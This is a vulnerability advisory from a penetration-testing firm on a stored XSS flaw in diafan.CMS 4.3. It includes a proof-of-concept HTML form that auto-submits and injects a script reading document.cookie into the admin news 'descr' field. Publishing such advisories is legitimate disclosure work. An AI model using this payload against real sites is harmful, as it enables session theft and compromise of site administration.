Vulnerability ID: HTB22775 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_diafan_cms.html Product: diafan.CMS Vendor: Diafan ( http://www.diafan.ru/ ) Vulnerable Version: 4.3 and probably prior versions Vendor Notification: 28 December 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "http://host/admin/news/saveNEWS_ID/"; script to properly sanitize user-supplied input in "descr" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/news/saveNEWS_ID/"; method="post" name="main" enctype="multipart/form-data" > <input type="hidden" name="noOut" value="1"> <input type="hidden" name="save_post" value="1"> <input type="hidden" name="id" value="NEWS_ID"> <input type="hidden" name="name" value="news name"> <input type="hidden" name="created" value="23.12.2010 09:02"> <input type="hidden" name="photo" value=""> <input type="hidden" name="act" value="1"> <input type="hidden" name="tag" value=""> <input type="hidden" name="title_meta" value=""> <input type="hidden" name="keywords" value=""> <input type="hidden" name="descr" value='desc"><script>alert(document.cookie)</script>'> <input type="hidden" name="rewrite" value=""> <input type="hidden" name="site_id" value="5"> <input type="hidden" name="anons" value='announce'> <input type="hidden" name="text" value="news_text"> </form> <script> document.main.submit(); </script>
